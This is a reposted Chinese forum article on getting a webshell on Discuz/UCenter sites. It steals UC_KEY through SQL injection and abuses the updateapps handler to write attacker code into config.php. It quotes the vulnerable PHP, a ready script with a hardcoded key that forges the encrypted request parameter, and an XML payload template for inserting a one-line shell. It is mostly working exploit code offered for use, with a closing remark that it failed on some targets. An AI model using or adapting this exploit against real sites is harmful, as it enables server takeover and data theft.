关于DZ后台拿shell,很多同志都很苦恼是把,,不过最近外面看到一篇文章,应该 才出来的把,,这里给大家发出来把,。。

转载者:littleli

我们只要得到UC_KEY,提交数据就可以修改配置文件来得到Webshell,而UC_KEY是保存在UCENTER中,一般的管理员配置的时候都使用同一权限配置。
我们有一个注射,如此,这般……大笑三声,哈,哈,哈。

 


直接读取数据库uc_applications下的authkey即为UC_KEY。长度为64位。
再接着是post数据的提交。最后的格式为:替换成你的一句话Shell,如图11即可。

先生成需要的code

$get = $post = array();

        $code = @$_GET['code'];

        parse_str(authcode($code, 'DECODE', UC_KEY), $get);//需要UC_KEY进行解密

        if(MAGIC_QUOTES_GPC) {

                $get = sstripslashes($get);

        }

        if($_SGLOBAL['timestamp'] - $get['time'] > 3600) {//判断提交的时间

                exit('Authracation has expiried');

        }

        if(empty($get)) {

                exit('Invalid Request');

        }

        include_once S_ROOT.'./uc_client/lib/xml.class.php';

        //我们提交的数据和需要调用的函数,主要看updateapps

        $post = xml_unserialize(file_get_contents('php://input'));

        if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {

        $uc_note = new uc_note();

        echo $uc_note->$get['action']($get, $post);

        exit();

        } else {

                exit(API_RETURN_FAILED);

        }

        //……

        function updateapps($get, $post) {

                global $_SGLOBAL;

                if(!API_UPDATEAPPS) {

                        return API_RETURN_FORBIDDEN;

                }

                $UC_API = '';

                if($post['UC_API']) {

                        $UC_API = $post['UC_API'];

                        unset($post['UC_API']);

                }

                $cachefile = S_ROOT.'./uc_client/data/cache/apps.php';

                $fp = fopen($cachefile, 'w');

                $s = "<?php\r\n";

                $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";

                fwrite($fp, $s);

                fclose($fp);

                //配置文件

                if($UC_API && is_writeable(S_ROOT.'./config.php')) {

                        $configfile = trim(file_get_contents(S_ROOT.'./config.php'));

                        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

                        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);

                        if($fp = @fopen(S_ROOT.'./config.php', 'w')) {

                                @fwrite($fp, trim($configfile));

                                @fclose($fp);

                        }

                }

                return API_RETURN_SUCCEED;

        }
<?php

//这里为注射得到的UC_KEY

define('UC_KEY', '88V7m5VeF1Da9978a8ben5f1t317ldv78aPfWeP2D608h44e3ej1Xbt9m6mbl3L9');

//这里为时间和需要调用的函数,时间写大一些,避免不必要的错误。

$code='time=1391966342&action=updateapps';

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

        $ckey_length = 4;

        $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

        $keya = md5(substr($key, 0, 16));

        $keyb = md5(substr($key, 16, 16));

        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);

        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

        $string_length = strlen($string);

        $result = '';

        $box = range(0, 255);

        $rndkey = array();

        for($i = 0; $i <= 255; $i++) {

                $rndkey[$i] = ord($cryptkey[$i % $key_length]);

        }

        for($j = $i = 0; $i < 256; $i++) {

                $j = ($j + $box[$i] + $rndkey[$i]) % 256;

                $tmp = $box[$i];

                $box[$i] = $box[$j];

                $box[$j] = $tmp;

        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {

                $a = ($a + 1) % 256;

                $j = ($j + $box[$a]) % 256;

                $tmp = $box[$a];

                $box[$a] = $box[$j];

                $box[$j] = $tmp;

                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

        }

        if($operation == 'DECODE') {

                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

                        return substr($result, 26);

                } else {

                        return '';

                }

        } else {

                return $keyc.str_replace('=', '', base64_encode($result));

        }

}

//这里为最后生成的$code

print_r(authcode($code, 'ENCODE', UC_KEY));

?>
<?php

include_once './uc_client/lib/xml.class.php';

$a=array("UC_API"=>"exploit code");

print_r(xml_serialize($a));

?>
<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">exploit code</item>

</root>

到这里哥总算有了个满意的效果,果断上网测试,但是从目标站里跑出的UC_KEY长度为124并不能成功。
测试了几个网站,发现个别网站数据库key长度为124时,config.php文件里的key为64位。
你丫不按常理出牌啊。

哥对天一叹,或许哥只能存在于传说之中。(不是转载者说的 – -。。。)

——————

作者:×××手